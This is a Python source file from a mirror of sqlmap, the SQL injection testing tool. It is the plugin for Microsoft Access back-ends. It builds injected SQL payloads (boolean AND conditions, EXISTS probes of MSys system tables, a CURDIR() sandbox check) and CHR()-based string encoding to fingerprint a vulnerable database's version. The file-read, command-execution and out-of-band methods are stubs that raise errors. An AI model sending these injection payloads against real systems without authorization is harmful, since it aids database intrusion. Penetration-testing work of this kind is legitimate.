mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-03 21:24:13 +03:00
0d559d14df
Initial support for Firebird (30% approx). Initial support for Access (10% approx). Shared libraries code/installation scripts ported to 64bit, directory structure adapted. Minor code adjustments.
287 lines
9.8 KiB
Python
287 lines
9.8 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import formatDBMSfp
|
|
from lib.core.common import formatFingerprint
|
|
from lib.core.common import getHtmlErrorFp
|
|
from lib.core.common import randomInt
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.exception import sqlmapSyntaxException
|
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
from lib.core.session import setDbms
|
|
from lib.core.settings import ACCESS_ALIASES
|
|
from lib.core.settings import ACCESS_SYSTEM_DBS
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.enumeration import Enumeration
|
|
from plugins.generic.filesystem import Filesystem
|
|
from plugins.generic.fingerprint import Fingerprint
|
|
from plugins.generic.misc import Miscellaneous
|
|
from plugins.generic.takeover import Takeover
|
|
|
|
|
|
class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
"""
|
|
This class defines Access methods
|
|
"""
|
|
|
|
def __init__(self):
|
|
self.excludeDbsList = ACCESS_SYSTEM_DBS
|
|
|
|
Enumeration.__init__(self, "Microsoft Access")
|
|
Filesystem.__init__(self)
|
|
Takeover.__init__(self)
|
|
|
|
unescaper.setUnescape(AccessMap.unescape)
|
|
|
|
@staticmethod
|
|
def unescape(expression, quote=True):
|
|
if quote:
|
|
while True:
|
|
index = expression.find("'")
|
|
if index == -1:
|
|
break
|
|
|
|
firstIndex = index + 1
|
|
index = expression[firstIndex:].find("'")
|
|
|
|
if index == -1:
|
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
|
|
lastIndex = firstIndex + index
|
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
unescaped = ""
|
|
|
|
for i in range(firstIndex, lastIndex):
|
|
unescaped += "CHR(%d)" % (ord(expression[i]))
|
|
if i < lastIndex - 1:
|
|
unescaped += "&"
|
|
|
|
expression = expression.replace(old, unescaped)
|
|
else:
|
|
unescaped = "".join("CHR(%d)&" % ord(c) for c in expression)
|
|
if unescaped[-1] == "&":
|
|
unescaped = unescaped[:-1]
|
|
|
|
expression = unescaped
|
|
|
|
return expression
|
|
|
|
@staticmethod
|
|
def escape(expression):
|
|
while True:
|
|
index = expression.find("CHR(")
|
|
if index == -1:
|
|
break
|
|
|
|
firstIndex = index
|
|
index = expression[firstIndex:].find(")")
|
|
|
|
if index == -1:
|
|
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
|
|
lastIndex = firstIndex + index + 1
|
|
old = expression[firstIndex:lastIndex]
|
|
oldUpper = old.upper()
|
|
oldUpper = oldUpper.lstrip("CHR(").rstrip(")")
|
|
oldUpper = oldUpper.split("&")
|
|
|
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
expression = expression.replace(old, escaped).replace("'&'", "")
|
|
|
|
return expression
|
|
|
|
def __sandBoxCheck(self):
|
|
# Reference: http://milw0rm.com/papers/198
|
|
retVal = None
|
|
table = None
|
|
if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
|
|
if kb.dbmsVersion[0] in ("97", "2000"):
|
|
table = "MSysAccessObjects"
|
|
elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
|
|
table = "MSysAccessStorage"
|
|
if table:
|
|
query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table)
|
|
query = agent.postfixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
result = Request.queryPage(payload)
|
|
retVal = "not sandboxed" if result else "sandboxed"
|
|
|
|
return retVal
|
|
|
|
def __sysTablesCheck(self):
|
|
infoMsg = "executing system table(s) existance fingerprint"
|
|
logger.info(infoMsg)
|
|
|
|
# Microsoft Access table reference updated on 01/2010
|
|
sysTables = {
|
|
"97": ("MSysModules2", "MSysAccessObjects"),
|
|
"2000" : ("!MSysModules2", "MSysAccessObjects"),
|
|
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
|
|
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs")
|
|
}
|
|
# MSysAccessXML is not a reliable system table because it doesn't always exist
|
|
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
|
|
|
|
for version, tables in sysTables.items():
|
|
exist = True
|
|
for table in tables:
|
|
negate = False
|
|
if table[0] == '!':
|
|
negate = True
|
|
table = table[1:]
|
|
randInt = randomInt()
|
|
query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
|
|
query = agent.postfixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
result = Request.queryPage(payload)
|
|
if negate:
|
|
result = not result
|
|
exist &= result
|
|
if not exist:
|
|
break
|
|
if exist:
|
|
return version
|
|
|
|
return None
|
|
|
|
def getFingerprint(self):
|
|
value = ""
|
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
|
|
if wsOsFp:
|
|
value += "%s\n" % wsOsFp
|
|
|
|
if kb.data.banner:
|
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
|
|
if dbmsOsFp:
|
|
value += "%s\n" % dbmsOsFp
|
|
|
|
value += "back-end DBMS: "
|
|
|
|
if not conf.extensiveFp:
|
|
value += "Microsoft Access"
|
|
return value
|
|
|
|
actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
|
|
blank = " " * 15
|
|
value += "active fingerprint: %s" % actVer
|
|
|
|
if kb.bannerFp:
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
|
|
|
if re.search("-log$", kb.data.banner):
|
|
banVer += ", logging enabled"
|
|
|
|
banVer = formatDBMSfp([banVer])
|
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
|
|
htmlErrorFp = getHtmlErrorFp()
|
|
|
|
if htmlErrorFp:
|
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
|
|
return value
|
|
|
|
def checkDbms(self):
|
|
if conf.dbms in ACCESS_ALIASES:
|
|
setDbms("Microsoft Access")
|
|
if not conf.extensiveFp:
|
|
return True
|
|
|
|
logMsg = "testing Microsoft Access"
|
|
logger.info(logMsg)
|
|
|
|
payload = agent.fullPayload(" AND VAL(CVAR(1))=1")
|
|
result = Request.queryPage(payload)
|
|
|
|
if result:
|
|
logMsg = "confirming Microsoft Access"
|
|
logger.info(logMsg)
|
|
|
|
payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
|
|
result = Request.queryPage(payload)
|
|
|
|
if not result:
|
|
warnMsg = "the back-end DMBS is not Microsoft Access"
|
|
logger.warn(warnMsg)
|
|
return False
|
|
|
|
setDbms("Microsoft Access")
|
|
|
|
if not conf.extensiveFp:
|
|
return True
|
|
|
|
kb.dbmsVersion = [self.__sysTablesCheck()]
|
|
|
|
return True
|
|
else:
|
|
warnMsg = "the back-end DMBS is not Microsoft Access"
|
|
logger.warn(warnMsg)
|
|
|
|
return False
|
|
|
|
def getPasswordHashes(self):
|
|
warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes"
|
|
logger.warn(warnMsg)
|
|
|
|
return {}
|
|
|
|
def readFile(self, rFile):
|
|
errMsg = "on Microsoft Access it is not possible to read files"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
|
errMsg = "on Microsoft Access it is not possible to write files"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def osCmd(self):
|
|
errMsg = "on Microsoft Access it is not possible to execute commands"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def osShell(self):
|
|
errMsg = "on Microsoft Access it is not possible to execute commands"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def osPwn(self):
|
|
errMsg = "on Microsoft Access it is not possible to establish an "
|
|
errMsg += "out-of-band connection"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def osSmb(self):
|
|
errMsg = "on Microsoft Access it is not possible to establish an "
|
|
errMsg += "out-of-band connection"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
def getBanner(self):
|
|
errMsg = "on Microsoft Access it is not possible to get a banner"
|
|
raise sqlmapUnsupportedFeatureException, errMsg |